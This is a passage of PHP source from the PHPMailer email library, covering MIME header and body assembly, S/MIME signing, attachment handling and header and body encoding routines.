        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

